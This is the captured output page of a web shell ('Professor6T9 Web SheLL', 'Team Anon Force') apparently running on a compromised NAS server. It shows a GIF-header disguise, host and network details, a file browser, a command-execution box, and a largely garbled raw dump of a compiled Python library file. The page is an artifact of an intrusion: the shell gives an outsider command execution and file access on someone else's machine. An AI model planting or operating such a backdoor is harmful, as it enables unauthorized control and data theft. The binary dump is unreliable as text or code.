GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
vobject
/
__pycache__
[ HOME ]
Exec
Submit
ics_diff.cpython-38.pyc
U �}�h� � @ s� d dl mZ d dlmZ ddlmZmZmZmZ dd� Z dd� Z dd d�Zdd � Zdd� Z dd� ZdZdd� Zedkr�z e� W n ek r� ed� Y nX dS )� )�print_function)�OptionParser� )� Component�getBehavior�newFromBehavior�readOnec C s0 dd� }dd� }dd� }|| �|| � || � S )Nc S s | � dd�S )N�uid� )� getChildValue)� component� r �7/tmp/pip-target-hu2ovxdm/lib/python/vobject/ics_diff.py�getUID s zgetSortKey.<locals>.getUIDc S s | � dd�}d�t|��S )N�sequencer z{0:05d})r �format�int)r r r r r �getSequence s zgetSortKey.<locals>.getSequencec S s$ | � dd �}|d krdS |�� S d S )N� recurrence_idz 0000-00-00)r � isoformat)r r r r r �getRecurrenceID s z#getSortKey.<locals>.getRecurrenceIDr )r r r r r r r � getSortKey s r c C s t | td�S )N)�key)�sortedr )� componentsr r r � sortByUID! s r Fc C sN | � � D ]}t||� q| �� D ]}d|jkr |jd= q |rJt| d�rJ| `dS )zo Recursively walk the component's children, deleting extraneous details like X-VOBJ-ORIGINAL-TZID. zX-VOBJ-ORIGINAL-TZID�dtstamp_listN)r �deleteExtraneous�lines�params�hasattrr )r �ignore_dtstamp�comp�liner r r r % s r c sl �fdd�� dd� }� fdd��� t t| dg ��t t|dg ���}� t t| dg ��t t|dg ���}|| S ) a Take two VCALENDAR components, compare VEVENTs and VTODOs in them, return a list of object pairs containing just UID and the bits that didn't match, using None for objects that weren't present in one version or the other. When there are multiple ContentLines in one VEVENT, for instance many DESCRIPTION lines, such lines original order is assumed to be meaningful. Order is also preserved when comparing (the unlikely case of) multiple parameters of the same type in a ContentLine c s� g }d}t |�}| D ]�}||kr0|�|d f� qt|�}|| }t|�}||kr�|�d |f� |d7 }||kr�|�|d f� q�qH|| }t|�}qH||k r�|�|d f� q||kr|d7 }� ||�} | d k r|�| � q|S )Nr r )�len�appendr ) ZleftList� rightList�outputZ rightIndexZ rightListSizer"